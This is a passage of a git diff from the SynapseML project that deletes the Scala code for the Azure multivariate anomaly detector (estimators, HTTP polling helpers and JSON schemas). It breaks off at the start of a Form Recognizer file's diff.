-import com.microsoft.azure.synapse.ml.io.http.RESTHelpers.{Client, retry} -import com.microsoft.azure.synapse.ml.io.http._ -import com.microsoft.azure.synapse.ml.logging.{FeatureNames, SynapseMLLogging} -import com.microsoft.azure.synapse.ml.stages._ -import com.microsoft.azure.synapse.ml.param.CognitiveServiceStructParam -import org.apache.commons.io.IOUtils -import org.apache.hadoop.fs.{FileSystem, Path} -import org.apache.http.client.methods._ -import org.apache.http.entity.{AbstractHttpEntity, ContentType, StringEntity} -import org.apache.http.impl.client.CloseableHttpClient -import org.apache.spark.injections.UDFUtils -import org.apache.spark.internal.Logging -import org.apache.spark.ml._ -import org.apache.spark.ml.param._ -import org.apache.spark.ml.util._ -import org.apache.spark.sql._ -import org.apache.spark.sql.expressions.Window -import org.apache.spark.sql.functions._ -import org.apache.spark.sql.types._ -import spray.json._ - -import java.net.URI -import java.time.format.DateTimeFormatter -import java.util.concurrent.TimeoutException -import scala.collection.parallel.mutable -import scala.collection.parallel.mutable.ParHashSet -import scala.concurrent.blocking -import scala.language.existentials - -private[ml] case class RemoteIteratorWrapper[T](underlying: org.apache.hadoop.fs.RemoteIterator[T]) - extends scala.collection.AbstractIterator[T] with scala.collection.Iterator[T] { - def hasNext: Boolean = underlying.hasNext - - def next(): T = underlying.next() -} - -private[ml] object Conversions { - implicit def remoteIterator2ScalaIterator[T](underlying: org.apache.hadoop.fs.RemoteIterator[T]): - scala.collection.Iterator[T] = RemoteIteratorWrapper[T](underlying) -} - -object MADUtils extends Logging { - - private[ml] val CreatedModels: mutable.ParHashSet[String] = new ParHashSet[String]() - - //noinspection ScalaStyle - private[ml] def madSend(request: HttpRequestBase, - path: String, - key: String, - params: Map[String, String] = Map()): String = { - - val paramString = if (params.isEmpty) { - "" - } else { - "?" + URLEncodingUtils.format(params) - } - request.setURI(new URI(path + paramString)) - - retry(List(100, 500, 1000), { () => //scalastyle:ignore magic.number - request.addHeader("Ocp-Apim-Subscription-Key", key) - request.addHeader("Content-Type", "application/json") - using(Client.execute(request)) { response => - if (!response.getStatusLine.getStatusCode.toString.startsWith("2")) { - val bodyOpt = request match { - case er: HttpEntityEnclosingRequestBase => IOUtils.toString(er.getEntity.getContent, "UTF-8") - case _ => "" - } - if (response.getStatusLine.getStatusCode.toString.equals("429")) { - val retryTime = response.getHeaders("Retry-After").head.getValue.toInt * 1000 - Thread.sleep(retryTime.toLong) - } - throw new RuntimeException(s"Failed: response: $response " + s"requestUrl: ${request.getURI} " + - s"requestBody: $bodyOpt") - } - if (response.getStatusLine.getReasonPhrase == "No Content") { - "" - } - else if (response.getStatusLine.getReasonPhrase == "Created") { - response.getHeaders("Location").head.getValue - } - else { - IOUtils.toString(response.getEntity.getContent, "UTF-8") - } - }.get - }) - } - - private[ml] def madGetModel(url: String, modelId: String, - key: String, params: Map[String, String] = Map()): String = { - madSend(new HttpGet(), url + modelId, key, params) - } - - private[ml] def madUrl(location: String): String = { - s"https://$location.api.cognitive.microsoft.com/anomalydetector/v1.1/multivariate/" - } - - private[ml] def madDelete(modelId: String, - key: String, - location: String, - params: Map[String, String] = Map()): String = { - madSend(new HttpDelete(), madUrl(location) + "models/" + modelId, key, params) - } - - private[ml] def madGetBatchDetectionResults(url: String, - resultId: String, - key: String, - params: Map[String, String] = Map(), - maxTries: Int, - pollingDelay: Int): String = { - - val it = (0 to maxTries).toIterator.flatMap { _ => - val resp = madSend(new HttpGet(), url + resultId, key, params) - val fields = resp.parseJson.asJsObject.fields - fields("summary").convertTo[DMASummary].status.toLowerCase() match { - case "ready" | "failed" => Some(resp) - case "created" | "running" => { - blocking { - Thread.sleep(pollingDelay.toLong) - } - None - } - case s => throw new RuntimeException(s"Received unknown status code: $s") - } - } - if (it.hasNext) { - it.next() - } else { - throw new TimeoutException( - s"Querying for results with resultId $resultId did not complete within $maxTries tries") - } - } - - private[ml] def madListModels(key: String, - location: String, - params: Map[String, String] = Map()): String = { - madSend(new HttpGet(), madUrl(location) + "models?$top=500", key, params) - } - - private[ml] def cleanUpAllModels(key: String, location: String): Unit = { - for (modelId <- CreatedModels) { - println(s"Deleting mvad model $modelId") - madDelete(modelId, key, location) - } - CreatedModels.clear() - } - - private[ml] def checkModelStatus(url: String, modelId: String, subscriptionKey: String): Unit = try { - val response = madGetModel(url, modelId, subscriptionKey) - .parseJson.asJsObject.fields - - val modelInfo = response("modelInfo").asJsObject.fields - val modelStatus = modelInfo("status").asInstanceOf[JsString].value.toLowerCase - modelStatus match { - case "failed" => - val errors = modelInfo("errors").toJson.compactPrint - throw new RuntimeException(s"Caught errors during fitting: $errors") - case "created" | "running" => - throw new RuntimeException(s"model $modelId is not ready yet") - case "ready" => - logInfo("model is ready for inference") - } - } catch { - case e: RuntimeException => - throw new RuntimeException(s"Encounter error while fetching model $modelId, " + - s"please double check the modelId is correct: ${e.getMessage}") - } - -} - -trait MADHttpRequest extends HasURL with HasSubscriptionKey with HasAsyncReply { - protected def prepareUrl: String - - protected def prepareMethod(): HttpRequestBase = new HttpPost() - - protected def prepareEntity(dataSource: String): Option[AbstractHttpEntity] - - protected val subscriptionKeyHeaderName = "Ocp-Apim-Subscription-Key" - - protected def contentType: String = "application/json" - - protected def prepareRequest(entity: AbstractHttpEntity): Option[HttpRequestBase] = { - val req = prepareMethod() - req.setURI(new URI(prepareUrl)) - req.setHeader(subscriptionKeyHeaderName, getSubscriptionKey) - req.setHeader("Content-Type", contentType) - - req match { - case er: HttpEntityEnclosingRequestBase => - er.setEntity(entity) - case _ => - } - Some(req) - } - - protected def queryForResult(headers: Map[String, String], - client: CloseableHttpClient, - location: URI): Option[HTTPResponseData] = { - val get = new HttpGet() - get.setURI(location) - headers.foreach { case (k, v) => get.setHeader(k, v) } - get.setHeader("User-Agent", s"synapseml/${BuildInfo.version}${HeaderValues.PlatformInfo}") - val resp = convertAndClose(sendWithRetries(client, get, getBackoffs)) - get.releaseConnection() - Some(resp) - } - - //noinspection ScalaStyle - protected def timeoutResult(headers: Map[String, String], client: CloseableHttpClient, - queryUrl: URI, maxTries: Int): HTTPResponseData = { - throw new TimeoutException( - s"Querying for results did not complete within $maxTries tries") - } - - //scalastyle:off cyclomatic.complexity - protected def handlingFunc(client: CloseableHttpClient, - request: HTTPRequestData): HTTPResponseData = { - val response = HandlingUtils.advanced(getBackoffs: _*)(client, request) - if (response.statusLine.statusCode == 201) { - val location = new URI(response.headers.filter(_.name == "Location").head.value) - val maxTries = getMaxPollingRetries - val headers = extractHeaderValuesForPolling(request) - val it = (0 to maxTries).toIterator.flatMap { _ => - val resp = queryForResult(headers, client, location) - val fields = IOUtils.toString(resp.get.entity.get.content, "UTF-8").parseJson.asJsObject.fields - val status = fields match { - case f if f.contains("modelInfo") => f("modelInfo").convertTo[MAEModelInfo].status - case f if f.contains("summary") => f("summary").convertTo[DMASummary].status - case _ => "None" - } - status.toLowerCase() match { - case "ready" | "failed" => resp - case "created" | "running" => - blocking { - Thread.sleep(getPollingDelay.toLong) - } - None - case s => throw new RuntimeException(s"Received unknown status code: $s") - } - } - if (it.hasNext) { - it.next() - } else { - timeoutResult(headers, client, location, maxTries) - } - } else { - val error = IOUtils.toString(response.entity.get.content, "UTF-8") - throw new RuntimeException(s"Caught error: $error") - } - } - //scalastyle:on cyclomatic.complexity -} - -private case class StorageInfo(account: String, container: String, key: String, blob: String) - -trait TimeConverter { - protected def convertTimeFormat(name: String, v: String): String = { - try { - DateTimeFormatter.ISO_INSTANT.format(DateTimeFormatter.ISO_INSTANT.parse(v)) - } - catch { - case e: java.time.format.DateTimeParseException => - throw new IllegalArgumentException( - s"${name.capitalize} should be ISO8601 format. e.g. 2021-01-01T00:00:00Z, received: ${e.toString}") - } - } -} - -trait HasTimestampCol extends Params { - val timestampCol = new Param[String](this, "timestampCol", "Timestamp column name") - - def setTimestampCol(v: String): this.type = set(timestampCol, v) - - def getTimestampCol: String = $(timestampCol) - - setDefault(timestampCol -> "timestamp") -} - -trait MADBase extends HasOutputCol with TimeConverter - with MADHttpRequest with HasSetLocation with HasInputCols - with ComplexParamsWritable with Wrappable with HasTimestampCol - with HasErrorCol with SynapseMLLogging { - - val startTime = new Param[String](this, "startTime", "A required field, start time" + - " of data to be used for detection/generating multivariate anomaly detection model, should be date-time.") - - def setStartTime(v: String): this.type = set(startTime, convertTimeFormat(startTime.name, v)) - - def getStartTime: String = $(startTime) - - val endTime = new Param[String](this, "endTime", "A required field, end time of data" + - " to be used for detection/generating multivariate anomaly detection model, should be date-time.") - - def setEndTime(v: String): this.type = set(endTime, convertTimeFormat(endTime.name, v)) - - def getEndTime: String = $(endTime) - - private def validateIntermediateSaveDir(dir: String): Boolean = { - if (!dir.startsWith("wasbs://") && !dir.startsWith("abfss://")) { - throw new IllegalArgumentException("improper HDFS loacation. Please use a wasb path such as: \n" + - "wasbs://[CONTAINER]@[ACCOUNT].blob.core.windows.net/[DIRECTORY]" + - "For more information on connecting storage accounts to spark visit " + - "https://docs.microsoft.com/en-us/azure/databricks/data/data-sources" + - "/azure/azure-storage#--access-azure-data-lake-storage-gen2-or-blob-storage-using-the-account-key" - ) - } - true - } - - val intermediateSaveDir = new Param[String]( - this, - "intermediateSaveDir", - "Blob storage location in HDFS where intermediate data is saved while training.", - isValid = validateIntermediateSaveDir _ - ) - - def setIntermediateSaveDir(v: String): this.type = set(intermediateSaveDir, v) - - def getIntermediateSaveDir: String = $(intermediateSaveDir) - - setDefault( - outputCol -> (this.uid + "_output"), - errorCol -> (this.uid + "_error")) - - private def getStorageInfo: StorageInfo = { - val uri = new URI(getIntermediateSaveDir) - val account = uri.getHost.split(".".toCharArray).head - val blobConfig = s"fs.azure.account.key.$account.blob.core.windows.net" - val adlsConfig = s"fs.azure.account.key.$account.dfs.core.windows.net" - val hc = SparkSession.builder().getOrCreate() - .sparkContext.hadoopConfiguration - val key = Option(hc.get(adlsConfig)).orElse(Option(hc.get(blobConfig))) - - if (key.isEmpty) { - throw new IllegalAccessError("Could not find the storage account credentials." + - s" Make sure your hadoopConfiguration has the" + - s" ''$blobConfig'' or ''$adlsConfig'' configuration set.") - } - - StorageInfo(account, uri.getUserInfo, key.get, uri.getPath.stripPrefix("/")) - } - - protected def blobPath: Path = new Path(new URI(getIntermediateSaveDir.stripSuffix("/") + s"/$uid.csv")) - - protected def upload(df: DataFrame): String = { - val convertTimeFormatUdf = UDFUtils.oldUdf( - { value: String => convertTimeFormat("Timestamp column", value) }, - StringType - ) - val formatDf = df.withColumn(getTimestampCol, convertTimeFormatUdf(col(getTimestampCol))) - .sort(col(getTimestampCol).asc) - - val storageInfo = getStorageInfo - - formatDf.coalesce(1) - .write.mode("overwrite").format("csv") - .option("header", "true") - .save(blobPath.toString) - - // MVAD doesn't support SAS url anymore, you need to add authentication of storage account - // with anomaly detector's managed identity - val hconf = SparkSession.builder().getOrCreate().sparkContext.hadoopConfiguration - val fs = FileSystem.get(blobPath.toUri, hconf) - import Conversions._ - val filePath = fs.listFiles(blobPath, true) - .filter(file => file.getPath.toString.contains("part-00000")) - .toSeq.head.getPath.toString - s"https://${storageInfo.account}.blob.core.windows.net/${storageInfo.container}/" + - s"${filePath.split("/").drop(3).mkString("/")}" - } - - def cleanUpIntermediateData(): Unit = { - val hconf = SparkSession.builder().getOrCreate().sparkContext.hadoopConfiguration - val fs = FileSystem.get(blobPath.toUri, hconf) - fs.delete(blobPath, true) - } - - override def pyAdditionalMethods: String = super.pyAdditionalMethods + { - """ - |def cleanUpIntermediateData(self): - | self._java_obj.cleanUpIntermediateData() - | return - |""".stripMargin - } - - protected def submitDatasetAndJob(dataset: Dataset[_]): Map[String, JsValue] = { - val df = dataset.toDF().select((Array(getTimestampCol) ++ getInputCols).map(col): _*) - val url = upload(df) - - val httpRequestBase = prepareRequest(prepareEntity(url).get) - val request = new HTTPRequestData(httpRequestBase.get) - val response = handlingFunc(Client, request) - - val responseJson = IOUtils.toString(response.entity.get.content, "UTF-8") - .parseJson.asJsObject.fields - - responseJson - } - -} - -@deprecated("The Anomaly Detection Service will be shutting down in 2026," + - " please use IsolationForest for anomaly detection", "v1.0.0") -object SimpleFitMultivariateAnomaly extends ComplexParamsReadable[SimpleFitMultivariateAnomaly] with Serializable - -@deprecated("The Anomaly Detection Service will be shutting down in 2026," + - " please use IsolationForest for anomaly detection", "v1.0.0") -class SimpleFitMultivariateAnomaly(override val uid: String) extends Estimator[SimpleDetectMultivariateAnomaly] - with MADBase { - logClass(FeatureNames.AiServices.Anomaly) - - def this() = this(Identifiable.randomUID("SimpleFitMultivariateAnomaly")) - - def urlPath: String = "anomalydetector/v1.1/multivariate/models" - - val dataSchema = "OneTable" - - val slidingWindow = new IntParam(this, "slidingWindow", "An optional field, indicates" + - " how many history points will be used to determine the anomaly score of one subsequent point.") - - def setSlidingWindow(v: Int): this.type = { - if ((v >= 28) && (v <= 2880)) { - set(slidingWindow, v) - } else { - throw new IllegalArgumentException("slidingWindow must be between 28 and 2880 (both inclusive).") - } - } - - def getSlidingWindow: Int = $(slidingWindow) - - val alignMode = new Param[String](this, "alignMode", "An optional field, indicates how " + - "we align different variables into the same time-range which is required by the model.{Inner, Outer}") - - def setAlignMode(v: String): this.type = { - if (Set("inner", "outer").contains(v.toLowerCase)) { - set(alignMode, v.toLowerCase.capitalize) - } else { - throw new IllegalArgumentException("alignMode must be either `inner` or `outer`.") - } - } - - def getAlignMode: String = $(alignMode) - - val fillNAMethod = new Param[String](this, "fillNAMethod", "An optional field, indicates how missed " + - "values will be filled with. Can not be set to NotFill, when alignMode is Outer.{Previous, Subsequent," + - " Linear, Zero, Fixed}") - - def setFillNAMethod(v: String): this.type = { - if (Set("previous", "subsequent", "linear", "zero", "fixed").contains(v.toLowerCase)) { - set(fillNAMethod, v.toLowerCase.capitalize) - } else { - throw new IllegalArgumentException("fillNAMethod must be one of {Previous, Subsequent, Linear, Zero, Fixed}.") - } - } - - def getFillNAMethod: String = $(fillNAMethod) - - val paddingValue = new IntParam(this, "paddingValue", "optional field, is only useful" + - " if FillNAMethod is set to Fixed.") - - def setPaddingValue(v: Int): this.type = set(paddingValue, v) - - def getPaddingValue: Int = $(paddingValue) - - val displayName = new Param[String](this, "displayName", "optional field," + - " name of the model") - - def setDisplayName(v: String): this.type = set(displayName, v) - - def getDisplayName: String = $(displayName) - - setDefault(slidingWindow -> 300, alignMode -> "Outer", fillNAMethod -> "Linear") - - protected def prepareEntity(dataSource: String): Option[AbstractHttpEntity] = { - Some(new StringEntity( - MAERequest( - dataSource, - dataSchema, - getStartTime, - getEndTime, - get(slidingWindow).orElse(getDefault(slidingWindow)), - Option(AlignPolicy( - get(alignMode).orElse(getDefault(alignMode)), - get(fillNAMethod).orElse(getDefault(fillNAMethod)), - get(paddingValue))), - get(displayName) - ).toJson.compactPrint, ContentType.APPLICATION_JSON)) - } - - protected def prepareUrl: String = getUrl - - //noinspection ScalaStyle - override protected def timeoutResult(headers: Map[String, String], client: CloseableHttpClient, - queryUrl: URI, maxTries: Int): HTTPResponseData = { - // if no response after max retries, return the response containing modelId directly - queryForResult(headers, client, queryUrl).get - } - - override def fit(dataset: Dataset[_]): SimpleDetectMultivariateAnomaly = { - logFit({ - val response = submitDatasetAndJob(dataset) - - val modelInfo = response("modelInfo").asJsObject.fields - val modelId = response("modelId").convertTo[String] - - if (modelInfo("status").asInstanceOf[JsString].value.toLowerCase() == "failed") { - val errors = modelInfo("errors").toJson.compactPrint - throw new RuntimeException(s"Caught errors during fitting: $errors") - } - - MADUtils.CreatedModels += modelId - - new SimpleDetectMultivariateAnomaly() - .setSubscriptionKey(getSubscriptionKey) - .setLocation(getUrl.split("/".toCharArray)(2).split(".".toCharArray).head) - .setModelId(modelId) - .setIntermediateSaveDir(getIntermediateSaveDir) - .setDiagnosticsInfo(modelInfo("diagnosticsInfo").convertTo[DiagnosticsInfo]) - }, dataset.columns.length) - } - - override def copy(extra: ParamMap): SimpleFitMultivariateAnomaly = defaultCopy(extra) - - override def transformSchema(schema: StructType): StructType = { - schema.add(getErrorCol, DMAError.schema) - .add(getOutputCol, DMAResponse.schema) - .add("isAnomaly", BooleanType) - } - -} - -trait DetectMAParams extends Params { - val modelId = new Param[String](this, "modelId", "Format - uuid. Model identifier.") - - def setModelId(v: String): this.type = set(modelId, v) - - def getModelId: String = $(modelId) - - val diagnosticsInfo = new CognitiveServiceStructParam[DiagnosticsInfo](this, "diagnosticsInfo", - "diagnosticsInfo for training a multivariate anomaly detection model") - - def setDiagnosticsInfo(v: DiagnosticsInfo): this.type = set(diagnosticsInfo, v) - - def getDiagnosticsInfo: DiagnosticsInfo = $(diagnosticsInfo) - - val topContributorCount = new IntParam(this, "topContributorCount", "This is a number" + - " that you could specify N from 1 to 30, which will give you the details of top N contributed variables " + - "in the anomaly results. For example, if you have 100 variables in the model, but you only care the top " + - "five contributed variables in detection results, then you should fill this field with 5. The default" + - " number is 10.", isValid = ParamValidators.inRange(1.0, 30.0)) - - def setTopContributorCount(v: Int): this.type = set(topContributorCount, v) - - def getTopContributorCount: Int = $(topContributorCount) - - setDefault(topContributorCount -> 10) -} - -@deprecated("The Anomaly Detection Service will be shutting down in 2026," + - " please use IsolationForest for anomaly detection", "v1.0.0") -object SimpleDetectMultivariateAnomaly extends ComplexParamsReadable[SimpleDetectMultivariateAnomaly] with Serializable - -@deprecated("The Anomaly Detection Service will be shutting down in 2026," + - " please use IsolationForest for anomaly detection", "v1.0.0") -class SimpleDetectMultivariateAnomaly(override val uid: String) extends Model[SimpleDetectMultivariateAnomaly] - with MADBase with HasHandler with DetectMAParams { - logClass(FeatureNames.AiServices.Anomaly) - - def this() = this(Identifiable.randomUID("SimpleDetectMultivariateAnomaly")) - - def urlPath: String = "anomalydetector/v1.1/multivariate/models/" - - protected def prepareEntity(dataSource: String): Option[AbstractHttpEntity] = { - Some(new StringEntity( - DMARequest(dataSource, getStartTime, getEndTime, Some(getTopContributorCount)) - .toJson.compactPrint)) - } - - protected def prepareUrl: String = getUrl + s"$getModelId:detect-batch" - - override def handlingFunc(client: CloseableHttpClient, - request: HTTPRequestData): HTTPResponseData = getHandler(client, request) - - //scalastyle:off method.length - override def transform(dataset: Dataset[_]): DataFrame = - logTransform[DataFrame] ({ - - // check model status first - MADUtils.checkModelStatus(getUrl, getModelId, getSubscriptionKey) - - val spark = dataset.sparkSession - val responseJson = submitDatasetAndJob(dataset) - - // need to fetch batch inference result using resultId - val response = MADUtils.madGetBatchDetectionResults( - getUrl.split("/".toCharArray).dropRight(1).mkString("/") + "/detect-batch/", - responseJson("resultId").convertTo[String], - getSubscriptionKey, - maxTries = getMaxPollingRetries, - pollingDelay = getPollingDelay) - val fields = response.parseJson.asJsObject.fields - val summary = fields("summary").convertTo[DMASummary] - if (summary.status.toLowerCase() == "failed") { - val errors = summary.errors.get.toJson.compactPrint - throw new RuntimeException(s"Failure during inference: $errors") - } - - val resultDF = spark.createDataFrame(fields("results").convertTo[Seq[DMAResult]]) - - val sortedDF = resultDF - .sort(col("timestamp").asc) - .withColumnRenamed("timestamp", "resultTimestamp") - - val simplifiedDF = if (sortedDF.columns.contains("value")) { - sortedDF.withColumn("isAnomaly", col("value.isAnomaly")) - .withColumnRenamed("value", getOutputCol) - } else { - sortedDF.withColumn(getOutputCol, lit(None)) - .withColumn("isAnomaly", lit(None)) - } - - val finalDF = if (simplifiedDF.columns.contains("errors")) { - simplifiedDF.withColumnRenamed("errors", getErrorCol) - } else { - simplifiedDF.withColumn(getErrorCol, lit(None)) - } - - val df = dataset.toDF() - df.join(finalDF, df(getTimestampCol) === finalDF("resultTimestamp"), "left") - .drop("resultTimestamp") - .sort(col(getTimestampCol).asc) - }, dataset.columns.length) - //scalastyle:on method.length - - override def copy(extra: ParamMap): SimpleDetectMultivariateAnomaly = defaultCopy(extra) - - override def transformSchema(schema: StructType): StructType = { - schema.add(getErrorCol, DMAError.schema) - .add(getOutputCol, DMAResponse.schema) - .add("isAnomaly", BooleanType) - } - -} - -@deprecated("The Anomaly Detection Service will be shutting down in 2026," + - " please use IsolationForest for anomaly detection", "v1.0.0") -object DetectLastMultivariateAnomaly extends ComplexParamsReadable[DetectLastMultivariateAnomaly] with Serializable - -@deprecated("The Anomaly Detection Service will be shutting down in 2026," + - " please use IsolationForest for anomaly detection", "v1.0.0") -class DetectLastMultivariateAnomaly(override val uid: String) extends CognitiveServicesBase(uid) - with HasInternalJsonOutputParser with TimeConverter with HasTimestampCol - with HasSetLocation with HasCognitiveServiceInput with HasBatchSize - with ComplexParamsWritable with Wrappable - with HasErrorCol with SynapseMLLogging with DetectMAParams { - logClass(FeatureNames.AiServices.Anomaly) - - def this() = this(Identifiable.randomUID("DetectLastMultivariateAnomaly")) - - def urlPath: String = "anomalydetector/v1.1/multivariate/models/" - - val inputVariablesCols = new StringArrayParam(this, "inputVariablesCols", - "The names of the input variables columns") - - def setInputVariablesCols(value: Array[String]): this.type = set(inputVariablesCols, value) - - def getInputVariablesCols: Array[String] = $(inputVariablesCols) - - override def setBatchSize(value: Int): this.type = { - logWarning("batchSize should be equal to 1 sliding window.") - set(batchSize, value) - } - - setDefault(batchSize -> 300) - - override protected def prepareUrl: Row => String = { - row: Row => getUrl + s"$getModelId:detect-last" - } - - protected def prepareEntity: Row => Option[AbstractHttpEntity] = { row => - val timestamps = row.getAs[Seq[String]](s"${getTimestampCol}_list") - val variables = getInputVariablesCols.map( - variable => Variable(timestamps, row.getAs[Seq[Double]](s"${variable}_list"), variable)) - Some(new StringEntity( - DLMARequest(variables, getTopContributorCount).toJson.compactPrint - )) - } - - // scalastyle:off null - override def transform(dataset: Dataset[_]): DataFrame = { - logTransform[DataFrame]({ - // check model status first - MADUtils.checkModelStatus(getUrl, getModelId, getSubscriptionKey) - - val convertTimeFormatUdf = UDFUtils.oldUdf( - { value: String => convertTimeFormat("Timestamp column", value) }, - StringType - ) - val formattedDF = dataset.withColumn(getTimestampCol, convertTimeFormatUdf(col(getTimestampCol))) - .sort(col(getTimestampCol).asc) - .withColumn("group", lit(1)) - - val window = Window.partitionBy("group").rowsBetween(-getBatchSize, 0) - var collectedDF = formattedDF - var columnNames = Array(getTimestampCol) ++ getInputVariablesCols - for (columnName <- columnNames) { - collectedDF = collectedDF.withColumn(s"${columnName}_list", collect_list(columnName).over(window)) - } - collectedDF = collectedDF.drop("group") - columnNames = columnNames.map(name => s"${name}_list") - - val testDF = getInternalTransformer(collectedDF.schema).transform(collectedDF) - - testDF - .withColumn("isAnomaly", when(col(getOutputCol).isNotNull, - col(s"$getOutputCol.results.value.isAnomaly")(0)).otherwise(null)) - .withColumn("DetectDataTimestamp", when(col(getOutputCol).isNotNull, - col(s"$getOutputCol.results.timestamp")(0)).otherwise(null)) - .drop(columnNames: _*) - - }, dataset.columns.length) - } - // scalastyle:on null - - override protected def getInternalTransformer(schema: StructType): PipelineModel = { - val dynamicParamColName = DatasetExtensions.findUnusedColumnName("dynamic", schema) - val lambda = Lambda(_.withColumn(dynamicParamColName, struct( - s"${getTimestampCol}_list", getInputVariablesCols.map(name => s"${name}_list"): _*))) - - val stages = Array( - lambda, - new SimpleHTTPTransformer() - .setInputCol(dynamicParamColName) - .setOutputCol(getOutputCol) - .setInputParser(getInternalInputParser(schema)) - .setOutputParser(getInternalOutputParser(schema)) - .setHandler(handlingFunc _) - .setConcurrency(getConcurrency) - .setConcurrentTimeout(get(concurrentTimeout)) - .setErrorCol(getErrorCol), - new DropColumns().setCol(dynamicParamColName) - ) - - NamespaceInjections.pipelineModel(stages) - - } - - override def transformSchema(schema: StructType): StructType = { - schema.add(getErrorCol, DMAError.schema) - .add(getOutputCol, DLMAResponse.schema) - .add("isAnomaly", BooleanType) - } - - override def responseDataType: DataType = DLMAResponse.schema - -} diff --git a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/anomaly/MultivariateAnomalyDetectorSchemas.scala b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/anomaly/MultivariateAnomalyDetectorSchemas.scala deleted file mode 100644 index 59f72ed2460..00000000000 --- a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/anomaly/MultivariateAnomalyDetectorSchemas.scala +++ /dev/null @@ -1,146 +0,0 @@ -// Copyright (C) Microsoft Corporation. All rights reserved. -// Licensed under the MIT License. See LICENSE in project root for information. - -package com.microsoft.azure.synapse.ml.services.anomaly - -import com.microsoft.azure.synapse.ml.core.schema.SparkBindings -import spray.json.{DefaultJsonProtocol, RootJsonFormat} -import scala.collection.JavaConverters._ - -// DMA stands for DetectMultivariateAnomaly -object DMARequest extends SparkBindings[DMARequest] - -case class DMARequest(dataSource: String, - startTime: String, - endTime: String, - topContributorCount: Option[Int]) - -object DMAResponse extends SparkBindings[DMAResponse] - -case class DMAResponse(resultId: String, - summary: DMASummary, - results: Option[Seq[DMAResult]]) - -case class DMASummary(status: String, - errors: Option[Seq[DMAError]], - variableStates: Option[Seq[DMAVariableState]], - setupInfo: DMASetupInfo) - -object DMAError extends SparkBindings[DMAError] - -case class DMAError(code: Option[String], message: Option[String]) - -case class DMAVariableState(variable: Option[String], - filledNARatio: Option[Double], - effectiveCount: Option[Int], - firstTimestamp: Option[String], - lastTimestamp: Option[String]) { - def getVariable: String = this.variable.get - - def getFilledNARatio: Double = this.filledNARatio.get - - def getEffectiveCount: Int = this.effectiveCount.get - - def getFirstTimestamp: String = this.firstTimestamp.get - - def getLastTimestamp: String = this.lastTimestamp.get -} - -case class DMASetupInfo(dataSource: String, - topContributorCount: Option[Int], - startTime: String, - endTime: String) - -case class DMAResult(timestamp: String, value: Option[DMAValue], errors: Option[Seq[DMAError]]) - -case class DMAValue(interpretation: Option[Seq[Interpretation]], - isAnomaly: Option[Boolean], - severity: Option[Double], - score: Option[Double]) - -case class Interpretation(variable: Option[String], - contributionScore: Option[Double], - correlationChanges: Option[CorrelationChanges]) - -case class CorrelationChanges(changedVariables: Option[Seq[String]]) - -// MAE stands for MultivariateAnomalyEstimator -object MAERequest extends SparkBindings[MAERequest] - -case class MAERequest(dataSource: String, - dataSchema: String, - startTime: String, - endTime: String, - slidingWindow: Option[Int], - alignPolicy: Option[AlignPolicy], - displayName: Option[String]) - -object MAEResponse extends SparkBindings[MAEResponse] - -case class MAEResponse(modelId: String, - createdTime: String, - lastUpdatedTime: String, - modelInfo: MAEModelInfo) - -case class MAEModelInfo(slidingWindow: Option[Int], - alignPolicy: Option[AlignPolicy], - dataSource: String, - dataSchema: String, - startTime: String, - endTime: String, - displayName: Option[String], - status: String, - errors: Option[Seq[DMAError]], - diagnosticsInfo: Option[DiagnosticsInfo]) - -case class AlignPolicy(alignMode: Option[String], fillNAMethod: Option[String], paddingValue: Option[Int]) - -case class DiagnosticsInfo(modelState: Option[ModelState], variableStates: Option[Seq[DMAVariableState]]) { - def getModelState: ModelState = this.modelState.get - - def getVariableStates: java.util.List[DMAVariableState] = this.variableStates.get.asJava -} - -case class ModelState(epochIds: Option[Seq[Int]], - trainLosses: Option[Seq[Double]], - validationLosses: Option[Seq[Double]], - latenciesInSeconds: Option[Seq[Double]]) { - def getEpochIds: java.util.List[Int] = this.epochIds.getOrElse(Seq()).asJava - - def getTrainLosses: java.util.List[Double] = this.trainLosses.getOrElse(Seq()).asJava - - def getValidationLosses: java.util.List[Double] = this.validationLosses.getOrElse(Seq()).asJava - - def getLatenciesInSeconds: java.util.List[Double] = this.latenciesInSeconds.getOrElse(Seq()).asJava -} - -object DLMARequest extends SparkBindings[DLMARequest] - -case class DLMARequest(variables: Seq[Variable], topContributorCount: Int) - -object Variable extends SparkBindings[Variable] - -case class Variable(timestamps: Seq[String], values: Seq[Double], variable: String) - -object DLMAResponse extends SparkBindings[DLMAResponse] - -case class DLMAResponse(variableStates: Option[Seq[DMAVariableState]], results: Option[Seq[DMAResult]]) - -object MADJsonProtocol extends DefaultJsonProtocol { - implicit val DMAReqEnc: RootJsonFormat[DMARequest] = jsonFormat4(DMARequest.apply) - implicit val EEnc: RootJsonFormat[DMAError] = jsonFormat2(DMAError.apply) - implicit val VSEnc: RootJsonFormat[DMAVariableState] = jsonFormat5(DMAVariableState.apply) - implicit val MSEnc: RootJsonFormat[ModelState] = jsonFormat4(ModelState.apply) - implicit val DIEnc: RootJsonFormat[DiagnosticsInfo] = jsonFormat2(DiagnosticsInfo.apply) - implicit val APEnc: RootJsonFormat[AlignPolicy] = jsonFormat3(AlignPolicy.apply) - implicit val MAEReqEnc: RootJsonFormat[MAERequest] = jsonFormat7(MAERequest.apply) - implicit val CorrelationChangesEnc: RootJsonFormat[CorrelationChanges] = jsonFormat1(CorrelationChanges.apply) - implicit val InterpretationEnc: RootJsonFormat[Interpretation] = jsonFormat3(Interpretation.apply) - implicit val DMAValueEnc: RootJsonFormat[DMAValue] = jsonFormat4(DMAValue.apply) - implicit val DMAResEnc: RootJsonFormat[DMAResult] = jsonFormat3(DMAResult.apply) - implicit val DMASetupInfoEnc: RootJsonFormat[DMASetupInfo] = jsonFormat4(DMASetupInfo.apply) - implicit val DMASummaryEnc: RootJsonFormat[DMASummary] = jsonFormat4(DMASummary.apply) - implicit val MAEModelInfoEnc: RootJsonFormat[MAEModelInfo] = jsonFormat10(MAEModelInfo.apply) - implicit val VariableEnc: RootJsonFormat[Variable] = jsonFormat3(Variable.apply) - implicit val DLMARequestEnc: RootJsonFormat[DLMARequest] = jsonFormat2(DLMARequest.apply) -} diff --git a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/form/FormRecognizerV3.scala b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/form/FormRecognizerV3.scala index 50e4bc4ae99..5af987af0a9 100644 --- a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/form/FormRecognizerV3.scala +++ 